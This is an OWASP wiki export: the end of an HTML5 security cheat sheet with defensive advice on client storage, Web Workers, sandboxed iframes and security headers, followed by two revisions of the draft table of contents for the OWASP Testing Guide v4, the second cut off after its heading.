*There is no way to restrict the visibility of an object to a specific path like with the attribute path of HTTP Cookies, every object is shared within an origin and protected with the Same Origin Policy. Avoid host multiple applications on the same origin, all of them would share the same localStorage object, use different subdomains instead.

=== Client-side databases ===

*On November 2010 the W3C announced Web SQL Database (relational SQL database) as a deprecated specification. A new standard Indexed Database API or IndexedDB (formerly WebSimpleDB) is actively developed which provides key/value database storage and methods for performing advanced queries.
*Underlying storage mechanism may vary from one user agent to the next. In other words, any authentication your application requires can be bypassed by a user with local privileges to the machine on which the data is stored. Therefore, it's recommended not to store any sensitive information in local storage.
*If utilized, WebDatabase content on client side can be vulnerable to SQLInjection and needs to have proper validation and parametrization.
*Like Local Storage, a single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to load malicious data into a web database too, so don't consider data in these to be trusted either.

== Geolocation ==

*The Geolocation RFC recommends that the user agent ask the user's permission before calculating location, but whether or how this decision is remembered varies from browser to browser. Some user agents require the user to visit the page again in order to turn off the ability to get the user's location without asking, so for privacy reasons, it's recommended to require user input before calling <tt>getCurrentPosition</tt> or <tt>watchPosition</tt>.

== Web Workers ==

*Web Workers are allowed to use <tt>XMLHttpRequest</tt> object to perform in-domain and Cross Origin Resource Sharing requests. See relevant section of this Cheat Sheet to ensure CORS security.
*While Web Workers don't have access to DOM of the calling page, malicious Web Workers can use excessive CPU for computation, leading to Denial of Service condition or abuse Cross Origin Resource Sharing for further exploitation. Ensure code in all Web Workers scripts is not malevolent. Don't allow creating Web Worker scripts from user supplied input.
*Validate messages exchanged with a Web Worker. Do not try to exchange snippets of Javascript for evaluation e.g. via eval() as that could introduce a [[DOM Based XSS|DOM Based XSS]] vulnerability.

== Sandboxed frames ==

*Use the <tt>sandbox</tt> attribute of an <tt>iframe</tt> for untrusted content

*The <tt>sandbox</tt> attribute of an <tt>iframe</tt> enables restrictions on content within a <tt>iframe</tt>. The following restrictions are active when the <tt>sandbox</tt> attribute is set:

#All markup is treated as being from a unique origin
#All forms and scripts are disabled
#All links are prevented from targeting other browsing contexts
#All features that triggers automatically are blocked
#All plugins are disabled

It is possible to have a [http://www.whatwg.org/specs/web-apps/current-work/multipage/the-iframe-element.html#attr-iframe-sandbox fine-grained control] over <tt>iframe</tt> capabilities using the value of the <tt>sandbox</tt> attribute.

*In old versions of user agents where this feature is not supported this attributed will be ignored. Use this feature as an additional layer of protection or check if the browser supports sandboxed frames and only show the untrusted content if supported.
*Apart from this attribute, to prevent Clickjacking attacks and unsolicited framing it is encouraged to use the header <tt>X-Frame-Options</tt> which supports the <tt>deny</tt> and <tt>same-origin</tt> values. Other solutions like framebusting <tt>if(window!== window.top) { window.top.location = location; }</tt> are not recommended.

== Offline Applications ==

*Wether the user agent requests permission to the user to store data for offline browsing and when this cache is deleted vary from one browser to the next. Cache poisoning is an issue if a user connects through insecure networks, so for privacy reasons it is encouraged to require user input before sending any <tt>manifest</tt> file.
*Users should only cache trusted websites and clean the cache after browsing through open or insecure networks.

== Progressive Enhancements and Graceful Degradation Risks ==

*The best practice now is to determine the capabilities that a browser supports and augment with some type of substitute for capabilities that are not directly supported. This may mean an onion-like element, e.g. falling through to a Flash Player if the <video> tag is unsupported, or it may mean additional scripting code from various sources that should be code reviewed.

== HTTP Headers to enhance security ==

=== X-Frame-Options ===

*This header can be used to prevent ClickJacking in modern browsers (IE6/IE7 don't support this header)
*Use the <tt>same-origin</tt> attribute to allow being framed from urls of the same origin or <tt>deny</tt> to block all. Example: <tt>X-Frame-Options: DENY</tt>

=== X-XSS-Protection ===

*Enable XSS filter (only works for Reflected XSS)
*Example: <tt>X-XSS-Protection: 1; mode=block</tt>

=== Strict Transport Security ===

*Force every browser request to be sent over TLS/SSL (this can prevent SSL strip attacks)
*Use includeSubDomains
*Example: Strict-Transport-Security: max-age=8640000; includeSubDomains

=== Content Security Policy ===

*Policy to define a set of content restrictions for web resources which aims to mitigate web application vulnerabilities such as Cross Site Scripting
*Example: X-Content-Security-Policy: allow 'self'; img-src *; object-src media.example.com; script-src js.example.com

=== Origin ===

*Sent by CORS/WebSockets requests
*There is a proposal to use this header to mitigate CSRF attacks, but is not yet implemented by vendors for this purpose.

= Authors and Primary Editors =

Mark Roxberry - mark.roxberry [at] owasp.org 
Krzysztof Kotowicz - krzysztof [at] kotowicz.net 
Will Stranathan - will [at] cltnc.us 
Shreeraj Shah - shreeraj.shah [at] blueinfy.net 
Juan Galiana Lara - jgaliana [at] owasp.org

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

OWASP Testing Guide v4 Table of Contents

2013-09-05T13:58:06Z

Jgaliana:

__NOTOC__

'''This is the DRAFT of the table of content of the New Testing Guide v4.''' 
 You can download the stable version v3 [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] 

Back to the OWASP Testing Guide Project:
http://www.owasp.org/index.php/OWASP_Testing_Project

'''Updated: 15th February 2013'''

[[ OWTGv4 Contributors list|'''Contributors List]]

----

The following is a DRAFT of the Toc based on the feedback already received.

== Table of Contents ==

==[[Testing Guide Foreword|Foreword by Eoin Keary]]==
[To review--> Eoin Keary -> Done!!]

==[[Testing Guide Frontispiece |1. Frontispiece]]==
[To review--> Mat]

'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]'''
[To review--> Mat]

'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]'''
[To review--> ]

==[[Testing Guide Introduction|2. Introduction]]==

'''2.1 The OWASP Testing Project'''

'''2.2 Principles of Testing'''

'''2.3 Testing Techniques Explained'''

2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]

2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]

==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==

'''3.1. Overview'''

'''3.2. Phase 1: Before Development Begins '''

'''3.3. Phase 2: During Definition and Design'''

'''3.4. Phase 3: During Development'''

'''3.5. Phase 4: During Deployment'''

'''3.6. Phase 5: Maintenance and Operations'''

'''3.7. A Typical SDLC Testing Workflow '''

==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==

[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--> Mat]

[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --> Mat]

[[Testing Information Gathering|'''4.2 Information Gathering ''']]

[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly "Search Engine Discovery/Reconnaissance (OWASP-IG-002)"

[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-004)"

[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly "Spiders, Robots and Crawlers (OWASP-IG-001)"

[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly "Application Discovery (OWASP-IG-005)"

[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly "Review webpage comments and metadata(OWASP-IG-007)"

[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly "Identify application entry points (OWASP-IG-003)"

[[Testing Identify application exit/handover points (OWASP-IG-008)|4.2.7 Identify application exit/handover points (OTG-INFO-007) ]] formerly "Identify application exit/handover points (OWASP-IG-008)"

[[Testing Map execution paths through application (OWASP-IG-009)|4.2.8 Map execution paths through application (OTG-INFO-008)]] formerly "Map execution paths through application (OWASP-IG-009)"

[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.9 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)"

[[Testing for Web Application (OTG-INFO-011)|4.2.10 Fingerprint Web Application (OTG-INFO-010) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)"

[[Map Network and Application Architecture (OTG-INFO-012)|4.2.11 Map Network and Application Architecture (OTG-INFO-011) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)"

[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]

[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)"

[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]] formerly "Testing for Application Configuration Management weakness (OWASP-CM-002)"

[[Testing for file extensions handling (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] formerly "Testing for File Extensions Handling (OWASP-CM-003)"

[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]] formerly "Old, Backup and Unreferenced Files (OWASP-CM-004)"

[[Testing for Admin Interfaces (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]] formerly "Infrastructure and Application Admin Interfaces (OWASP-CM-005)"

[[Testing for HTTP Methods and XST (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]] formerly "Testing for Bad HTTP Methods (OWASP-CM-006)"

[[Testing for Database credentials/connection strings available|4.3.7 Testing for Database credentials/connection strings available (OTG-CONFIG-007) ]] formerly "Testing for Database credentials/connection strings available (OWASP-CM-007)"

[[Testing for Content Security Policy weakness|4.3.8 Test Content Security Policy (OTG-CONFIG-008) ]] formerly "Testing for Content Security Policy weakness (OWASP-CM-008)"

[[Testing for Missing HSTS header|4.3.9 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]] formerly "Testing for Missing HSTS header (OWASP-CM-009)"

[[Testing for Frame Options|4.3.10 Test Frame Options (OTG-CONFIG-010) ]]

[[Testing for RIA policy files weakness|4.3.11 Test RIA cross domain policy (OTG-CONFIG-011) ]] formerly "Testing for RIA policy files weakness (OWASP-CM-010)"

[[Testing for Content Type Options|4.3.12 Test Content Type Options (OTG-CONFIG-012) ]] new

[[Testing Identity Management|'''4.4 Identity Management Testing''']]

[[Test Role Definitions (OTG-IDENT-001)|4.4.1 Test Role Definitions (OTG-IDENT-001)]] New

[[Test User Registration Process (OTG-IDENT-002)|4.4.2 Test User Registration Process (OTG-IDENT-002)]] New

[[Test Account Provisioning Process (OTG-IDENT-003)|4.4.3 Test Account Provisioning Process (OTG-IDENT-003)]] New

[[Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)|4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]] formerly "Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)"

[[Testing for Weak or unenforced username policy (OWASP-AT-009)| 4.4.5 Testing for Weak or unenforced username policy (OTG-IDENT-005)]] formerly "Testing for Weak or unenforced username policy (OWASP-AT-009)

[[Test Permissions of Guest/Training Accounts (OTG-IDENT-006)|4.4.6 Test Permissions of Guest/Training Accounts (OTG-IDENT-006)]] New

[[Test Account Suspension/Resumption Process (OTG-IDENT-007)|4.4.7 Test Account Suspension/Resumption Process (OTG-IDENT-007)]] New

[[Test User Deregistration Process (OTG-IDENT-008)|4.4.8 Test User Deregistration Process (OTG-IDENT-008)]] New

[[Test Account Deregistration Process (OTG-IDENT-009)|4.4.9 Test Account Deregistration Process (OTG-IDENT-009)]] New

[[Testing for authentication|'''4.5 Authentication Testing ''']]

[[Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|4.5.1 Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]] formerly "Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)"

[[Testing for default credentials (OWASP-AT-003)|4.5.2 Testing for default credentials (OTG-AUTHN-002)]] formerly "Testing for default credentials (OWASP-AT-003)"

[[Testing for Weak lock out mechanism (OWASP-AT-004)|4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)]] formerly "Testing for Weak lock out mechanism (OWASP-AT-004)"

[[Testing for Bypassing Authentication Schema (OWASP-AT-005)|4.5.4 Testing for bypassing authentication schema (OTG-AUTHN-004)]] formerly "Testing for bypassing authentication schema (OWASP-AT-005)"

[[Testing for Vulnerable Remember Password (OWASP-AT-006)|4.5.5 Test remember password functionality (OTG-AUTHN-005)]] formerly "Testing for vulnerable remember password functionality (OWASP-AT-006)"

[[Testing for Browser cache weakness (OWASP-AT-007)|4.5.6 Testing for Browser cache weakness (OTG-AUTHN-006)]] formerly "Testing for Browser cache weakness (OWASP-AT-007)"

[[Testing for Weak password policy (OWASP-AT-008)|4.5.7 Testing for Weak password policy (OTG-AUTHN-007)]] formerly "Testing for Weak password policy (OWASP-AT-008)"

[[Testing for Weak security question/answer (OTG-AUTHN-008)|4.5.8 Testing for Weak security question/answer (OTG-AUTHN-008)]] New! - Robert Winkel

[[Testing for weak password change or reset functionalities (OWASP-AT-011)|4.5.9 Testing for weak password change or reset functionalities (OTG-AUTHN-009)]] formerly "Testing for weak password change or reset functionalities (OWASP-AT-011)"

[[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)|4.5.10 Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]] (e.g. mobile app, IVR, help desk)

[[Testing for Authorization|'''4.6 Authorization Testing''']]

[[Test Management of Account Permissions (OTG-AUTHZ-001)|4.6.1 Test Management of Account Permissions (OTG-AUTHZ-001)]] New

[[Testing for Path Traversal (OWASP-AZ-001)|4.6.2 Testing Directory traversal/file include (OTG-AUTHZ-002)]] formerly "Testing Directory traversal/file include (OWASP-AZ-001)"

[[Testing for Bypassing Authorization Schema (OWASP-AZ-002)|4.6.3 Testing for bypassing authorization schema (OTG-AUTHZ-003)]] formerly "Testing for bypassing authorization schema (OWASP-AZ-002)"

[[Testing for Privilege escalation (OWASP-AZ-003)|4.6.4 Testing for Privilege Escalation (OTG-AUTHZ-004)]] formerly "Testing for Privilege Escalation (OWASP-AZ-003)"

[[Testing for Insecure Direct Object References (OWASP-AZ-004)|4.6.5 Testing for Insecure Direct Object References (OTG-AUTHZ-005)]] formerly "Testing for Insecure Direct Object References (OWASP-AZ-004)"

[[Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)|4.6.6 Testing for Failure to Restrict access to authorized resource (OTG-AUTHZ-006)]] formerly "Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)"

[[Test privileges of server components (OTG-AUTHZ-007)|4.6.7 Test privileges of server components (OTG-AUTHZ-007)]] (e.g. indexing service, reporting interface, file generator)

[[Test enforcement of application entry points (OTG-AUTHZ-008)|4.6.8 Test enforcement of application entry points (OTG-AUTHZ-008)]] (including exposure of objects)

[[Testing for failure to restrict access to authenticated resource(OWASP-AT-010)|4.6.9 Testing for failure to restrict access to authenticated resource (OTG-AUTHZ-009)]] formerly "Testing for failure to restrict access to authenticated resource (OWASP-AT-010)"

[[Testing for Session Management|'''4.7 Session Management Testing''']]

[[Testing for Session_Management_Schema (OWASP-SM-001)|4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)]] formerly "Testing for Bypassing Session Management Schema (OWASP-SM-001)"

[[Testing for cookies attributes (OWASP-SM-002)|4.7.2 Testing for Cookies attributes (OTG-SESS-002)]] formerly "Testing for Cookies attributes (OWASP-SM-002)" (Cookies are set not ‘HTTP Only’, ‘Secure’, and no time validity)

[[Testing for Session Fixation (OWASP-SM-003)|4.7.3 Testing for Session Fixation (OTG-SESS-003)]] formerly "Testing for Session Fixation (OWASP-SM-003)"

[[Testing for Exposed Session Variables (OWASP-SM-004)|4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)]] formerly "Testing for Exposed Session Variables (OWASP-SM-004)"

[[Testing for CSRF (OWASP-SM-005)|4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]] formerly "Testing for Cross Site Request Forgery (CSRF) (OWASP-SM-005)"

[[Test Session Token Strength (OTG-SESS-006)|4.7.6 Test Session Token Strength (OTG-SESS-006)]]

[[Testing for logout functionality (OWASP-SM-007)|4.7.7 Testing for logout functionality (OTG-SESS-007)]] formerly "Testing for logout functionality (OWASP-SM-007)"

[[Testing for Session puzzling (OWASP-SM-008)|4.7.8 Testing for Session puzzling (OWASP-SM-008)]]

[[Test Session Timeout (OTG-SESS-008)|4.7.8 Test Session Timeout (OTG-SESS-008)]]

[[Test multiple concurrent sessions (OTG-SESS-009)|4.7.9 Test multiple concurrent sessions (OTG-SESS-009)]]

[[Testing for Data Validation|'''4.8 Data Validation Testing''']]

[[Testing for Reflected Cross site scripting (OWASP-DV-001) |4.8.1 Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]] formerly "Testing for Reflected Cross Site Scripting (OWASP-DV-001)"

[[Testing for Stored Cross site scripting (OWASP-DV-002) |4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]] formerly "Testing for Stored Cross Site Scripting (OWASP-DV-002)"

[[Testing for HTTP Verb Tampering (OWASP-DV-003)|4.8.3 Testing for HTTP Verb Tampering (OTG-INPVAL-003)]] formerly "Testing for HTTP Verb Tampering (OWASP-DV-003)"

[[Testing for HTTP Parameter pollution (OWASP-DV-004)|4.8.4 Testing for HTTP Parameter pollution (OTG-INPVAL-004) ]] formerly "Testing for HTTP Parameter pollution (OWASP-DV-004)"

[[Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)|4.8.5 Testing for Unvalidated Redirects and Forwards (OTG-INPVAL-005) ]] formerly "Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)"

[[Testing for SQL Injection (OWASP-DV-005)| 4.8.6 Testing for SQL Injection (OTG-INPVAL-006)]] formerly "Testing for SQL Injection (OWASP-DV-005)" '''Ready to be reviewed'''

[[Testing for Oracle|4.8.6.1 Oracle Testing]]

[[Testing for MySQL|4.8.6.2 MySQL Testing [Ismael Gonçalves]]]

[[Testing for SQL Server|4.8.6.3 SQL Server Testing]]

[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.6.4 Testing PostgreSQL (from OWASP BSP) ]]

[[Testing for MS Access |4.8.6.5 MS Access Testing]]

[[Testing for NoSQL injection|4.8.6.6 Testing for NoSQL injection [New!]]]

[[Testing for LDAP Injection (OWASP-DV-006)|4.8.7 Testing for LDAP Injection (OTG-INPVAL-007)]] formerly "Testing for LDAP Injection (OWASP-DV-006)"

[[Testing for ORM Injection (OWASP-DV-007)|4.8.8 Testing for ORM Injection (OTG-INPVAL-008)]] formerly "Testing for ORM Injection (OWASP-DV-007)"

[[Testing for XML Injection (OWASP-DV-008)|4.8.9 Testing for XML Injection (OTG-INPVAL-009)]] formerly "Testing for XML Injection (OWASP-DV-008)"

[[Testing for SSI Injection (OWASP-DV-009)|4.8.10 Testing for SSI Injection (OTG-INPVAL-010)]] formerly "Testing for SSI Injection (OWASP-DV-009)"

[[Testing for XPath Injection (OWASP-DV-010)|4.8.11 Testing for XPath Injection (OTG-INPVAL-011)]] formerly "Testing for XPath Injection (OWASP-DV-010)"

[[Testing for IMAP/SMTP Injection (OWASP-DV-011)|4.8.12 IMAP/SMTP Injection (OTG-INPVAL-012)]] formerly "IMAP/SMTP Injection (OWASP-DV-011)"

[[Testing for Code Injection (OWASP-DV-012)|4.8.13 Testing for Code Injection (OTG-INPVAL-013)]] formerly "Testing for Code Injection (OWASP-DV-012)"

[[Testing for Local File Inclusion|4.8.13.1 Testing for Local File Inclusion]]

[[Testing for Remote File Inclusion|4.8.13.2 Testing for Remote File Inclusion]]

[[Testing for Command Injection (OWASP-DV-013)|4.8.14 Testing for Command Injection (OTG-INPVAL-014)]] formerly "Testing for Command Injection (OWASP-DV-013)"

[[Testing for Buffer Overflow (OWASP-DV-014)|4.8.15 Testing for Buffer overflow (OTG-INPVAL-015)]] formerly "Testing for Buffer overflow (OWASP-DV-014)"

[[Testing for Heap Overflow|4.8.15.1 Testing for Heap overflow]]

[[Testing for Stack Overflow|4.8.15.2 Testing for Stack overflow]]

[[Testing for Format String|4.8.15.3 Testing for Format string]]

[[Testing for Incubated Vulnerability (OWASP-DV-015)|4.8.16 Testing for incubated vulnerabilities (OTG-INPVAL-016)]] formerly "Testing for incubated vulnerabilities (OWASP-DV-015)"

[[Testing for HTTP Splitting/Smuggling (OWASP-DV-016)|4.8.17 Testing for HTTP Splitting/Smuggling (OTG-INPVAL-017) ]] formerly "Testing for HTTP Splitting/Smuggling (OWASP-DV-016)" [Juan Galiana]

[[Error Handling|'''4.9 Error Handling''']]

[[Testing for Error Code (OWASP-IG-006)|4.9.1 Analysis of Error Codes (OTG-ERR-001)]] formerly "Analysis of Error Codes (OWASP-IG-006)"

[[Testing for Stack Traces (OWASP-IG-XXX)|4.9.2 Analysis of Stack Traces (OTG-ERR-002)]] formerly "Analysis of Stack Traces"

[[Cryptography|'''4.10 Cryptography''']]

[[Testing for Insecure encryption usage (OWASP-EN-001)| 4.10.1 Testing for Insecure encryption usage (OTG-CRYPST-001)]] formerly "Testing for Insecure encryption usage (OWASP-EN-001)"

[[Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)| 4.10.2 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-002)]] formerly "Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)"

[[Testing for Padding Oracle (OWASP-EN-003)| 4.10.3 Testing for Padding Oracle (OTG-CRYPST-003)]] formerly "Testing for Padding Oracle (OWASP-EN-003)"

[[Testing for Cacheable HTTPS Response (OTG-CRYPST-004)| 4.10.4 Testing for Cacheable HTTPS Response (OTG-CRYPST-004)]]

[[Test Cache Directives (OTG-CRYPST-005)|4.10.5 Test Cache Directives (OTG-CRYPST-005)]]

[[Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)|4.10.6 Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)]]

[[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|4.10.7 Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)]]

[[Test Cryptographic Key Management (OTG-CRYPST-008)|4.10.8 Test Cryptographic Key Management (OTG-CRYPST-008)]]

[[Logging|'''4.11 Logging''']] Not convinced Logging should be included as it requires access to logs to test

[[Test time synchronisation (OTG-LOG-001)|4.11.1 Test time synchronisation (OTG-LOG-001) ]] formerly "Incorrect time"

[[Test user-viewable log of authentication events (OTG-LOG-002)|4.11.2 Test user-viewable log of authentication events (OTG-LOG-002)]]

[[Testing for business logic (OWASP-BL-001)|'''4.12 Business Logic Testing (OWASP-BL-001)''']] [To review--> David Fern]
Business Logic 

[[Test business logic data validation (OTG-BUSLOGIC-001)|4.12.1 Test business logic data validation (OTG-BUSLOGIC-001)]] [New!] NOTE MAT: to discuss this section

[[Test Ability to forge requests (OTG-BUSLOGIC-002)|4.12.2 Test Ability to forge requests (OTG-BUSLOGIC-002)]] [New!]

[[Test integrity checks (OTG-BUSLOGIC-003)|4.12.3 Test integrity checks (OTG-BUSLOGIC-003)]] (e.g. overwriting updates) [New!]

[[Test tamper evidence (OTG-BUSLOGIC-004)|4.12.4 Test tamper evidence (OTG-BUSLOGIC-004)]] [New!]

[[Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)|4.12.5 Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)]] [New!]

[[Test size of request limits (OTG-BUSLOGIC-006)|4.12.6 Test size of request limits (OTG-BUSLOGIC-006)]] [New!]

[[Test number of times a function can be used limits (OTG-BUSLOGIC-007)|4.12.7 Test number of times a function can be used limits (OTG-BUSLOGIC-002)]] [New!]

[[Test bypass of correct sequence (OTG-BUSLOGIC-008)|4.12.8 Test bypass of correct sequence (OTG-BUSLOGIC-008)]] [New!]

[[Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)|4.12.9 Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)]] [New!]

[[Test security incident reporting information (OTG-BUSLOGIC-010)|4.12.10 Test security incident reporting information (OTG-BUSLOGIC-010)]] [New!]

[[Test defenses against application mis-use (OTG-BUSLOGIC-011)|4.12.11 Test defenses against application mis-use (OTG-BUSLOGIC-011)]] [New!]

[[Denial of Service|'''4.13 Denial of Service''']]

[[Test Regular expression DoS (OTG-DOS-001)| 4.13.1 Test Regular expression DoS (OTG-DOS-001)]] [New!] note: to understand better 

[[Test XML DoS (OTG-DOS-002)| 4.13.2 Test XML DoS (OTG-DOS-002)]] [New! - Andrew Muller]

[[Testing for Captcha (OWASP-AT-012)|4.13.3 Testing for CAPTCHA (OTG-DOS-003)]] formerly "Testing for CAPTCHA (OWASP-AT-012)"

[[Web Service (XML Interpreter)|'''4.14 Web Service Testing''']] [Tom Eston]

[[Scoping a Web Service Test (OWASP-WS-001)|4.14.1 Scoping a Web Service Test (OTG-WEBSVC-001)]] formerly "Scoping a Web Service Test (OWASP-WS-001)"

[[WS Information Gathering (OWASP-WS-002)|4.14.2 WS Information Gathering (OTG-WEBSVC-002)]] formerly "WS Information Gathering (OWASP-WS-002)"

[[WS Authentication Testing (OWASP-WS-003)|4.14.3 WS Authentication Testing (OTG-WEBSVC-003)]] formerly "WS Authentication Testing (OWASP-WS-003)"

[[WS Management Interface Testing (OWASP-WS-004)|4.14.4 WS Management Interface Testing (OTG-WEBSVC-004)]] formerly "WS Management Interface Testing (OWASP-WS-004)"

[[Weak XML Structure Testing (OWASP-WS-005)|4.14.5 Weak XML Structure Testing (OTG-WEBSVC-005)]] formerly "Weak XML Structure Testing (OWASP-WS-005)"

[[XML Content-Level Testing (OWASP-WS-006)|4.14.6 XML Content-Level Testing (OTG-WEBSVC-006)]] formerly "XML Content-Level Testing (OWASP-WS-006)"

[[WS HTTP GET Parameters/REST Testing (OWASP-WS-007)|4.14.7 WS HTTP GET Parameters/REST Testing (OTG-WEBSVC-007)]] formerly "WS HTTP GET Parameters/REST Testing (OWASP-WS-007)"

[[WS Naughty SOAP Attachment Testing (OWASP-WS-008)|4.14.8 WS Naughty SOAP Attachment Testing (OTG-WEBSVC-008)]] formerly "WS Naughty SOAP Attachment Testing (OWASP-WS-008)"

[[WS Replay/MiTM Testing (OWASP-WS-009)|4.14.9 WS Replay/MiTM Testing (OTG-WEBSVC-009)]] formerly "WS Replay/MiTM Testing (OWASP-WS-009)"

[[WS BEPL Testing (OWASP-WS-010)|4.14.10 WS BEPL Testing (OTG-WEBSVC-010)]] formerly "WS BEPL Testing (OWASP-WS-010)"

[[Client Side Testing|'''4.15 Client Side Testing''']] [New!]

[[Testing for DOM-based Cross site scripting (OWASP-DV-003)|4.15.1 Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)]] formerly "Testing for DOM based Cross Site Scripting (OWASP-CS-001)" [Stefano Di Paola]

[[Testing Cross Origin Resource Sharing (OWASP CS-002)|4.15.2 Testing Cross Origin Resource Sharing (OTG-CLIENT-002)]] formerly "Testing for HTML5 (OWASP CS-002)" [Juan Galiana]

[[Testing for Cross site flashing (OWASP-DV-004)|4.15.3 Testing for Cross Site Flashing (OTG-CLIENT-003)]] formerly "Testing for Cross Site Flashing (OWASP-CS-003)"

[[Testing for Clickjacking (OWASP-CS-004)|4.15.4 Testing for Clickjacking (OTG-CLIENT-004)]] formerly "Testing for Clickjacking (OWASP-CS-004)" [Davide Danelon]

[[Testing WebSockets|4.15.5 WebSocket Testing (OTG-CLIENT-005)]] [Ryan Dewhurst]

[[Testing Web Messaging (OWASP CS-006)|4.15.6 Testing Web Messaging (OTG-CLIENT-006)]] [Juan Galiana]

[[Testing Local Storage (OWASP CS-007)|4.15.7 Testing Local Storage (OTG-CLIENT-007)]] [Juan Galiana]

[[Testing Sandboxed Iframes (OWASP CS-008)|4.15.8 Testing Sandboxed Iframes (OTG-CLIENT-008)]] [Juan Galiana]

==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]==

[[How to value the real risk |5.1 How to value the real risk]] [To review--> Amro AlOlaqi]

[[How to write the report of the testing |5.2 How to write the report of the testing]] [To review--> Amro AlOlaqi]

==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==

* Black Box Testing Tools [To review--> Amro AlOlaqi]

==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==
* Whitepapers [To review--> David Fern]
* Books [To review--> David Fern]
* Useful Websites [To review--> David Fern]

==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==

* Fuzz Categories [To review--> Amro AlOlaqi]

==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]==

[To review--> Amro AlOlaqi]

----

[[Category:OWASP Testing Project]]

OWASP Testing Guide v4 Table of Contents

2013-09-05T13:38:38Z

Jgaliana:

__NOTOC__

'''This is the DRAFT of the table of content of the New Testing Guide v4.''' 
 You can download the stable version v3 [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] 

Back to the OWASP Testing Guide Project:
http://www.owasp.org/index.php/OWASP_Testing_Project

'''Updated: 15th February 2013'''

[[ OWTGv4 Contributors list|'''Contributors List]]

----

The following is a DRAFT of the Toc based on the feedback already received.

== Table of Contents ==

